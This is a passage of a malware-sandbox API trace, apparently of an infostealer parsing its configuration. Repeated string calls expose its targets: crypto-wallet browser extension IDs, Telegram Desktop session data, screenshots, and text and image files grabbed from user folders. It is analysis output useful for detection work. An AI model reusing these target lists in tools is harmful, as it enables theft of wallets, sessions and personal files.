Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 970 [0260.837] lstrlenW (lpString="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 970 [0260.837] LocalAlloc (uFlags=0x40, uBytes=0x794) returned 0x6b9720 [0260.837] lstrlenW (lpString="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 970 [0260.837] LocalAlloc (uFlags=0x40, uBytes=0x794) returned 0x6b9ec0 [0260.837] lstrlenW (lpString="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 970 [0260.837] LocalAlloc (uFlags=0x40, uBytes=0x794) returned 0x6ba660 [0260.837] StrStrW (lpFirst="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.837] lstrlenW (lpString="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 970 [0260.837] LocalAlloc (uFlags=0x40, uBytes=0x814) returned 0x6bae00 [0260.837] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.837] LocalFree (hMem=0x6bae00) returned 0x0 [0260.838] StrStrW (lpFirst="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.838] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.838] LocalFree (hMem=0x6b9720) returned 0x0 [0260.838] LocalFree (hMem=0x6b9ec0) returned 0x0 [0260.838] LocalFree (hMem=0x6ba660) returned 0x0 [0260.838] StrStrW (lpFirst="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.839] lstrlenW (lpString="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 897 [0260.839] lstrlenW (lpString="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 897 [0260.839] LocalAlloc (uFlags=0x40, uBytes=0x702) returned 0x6b9720 [0260.839] lstrlenW (lpString="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 897 [0260.839] LocalAlloc (uFlags=0x40, uBytes=0x702) returned 0x6b9e30 [0260.839] lstrlenW (lpString="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 897 [0260.839] LocalAlloc (uFlags=0x40, uBytes=0x702) returned 0x6ba540 [0260.839] StrStrW (lpFirst="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.839] lstrlenW (lpString="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 897 [0260.839] LocalAlloc (uFlags=0x40, uBytes=0x782) returned 0x6bac50 [0260.839] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.839] LocalFree (hMem=0x6bac50) returned 0x0 [0260.839] StrStrW (lpFirst="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.839] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.840] LocalFree (hMem=0x6b9720) returned 0x0 [0260.840] LocalFree (hMem=0x6b9e30) returned 0x0 [0260.840] LocalFree (hMem=0x6ba540) returned 0x0 [0260.840] StrStrW (lpFirst="ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.840] lstrlenW (lpString="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 809 [0260.840] lstrlenW (lpString="ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 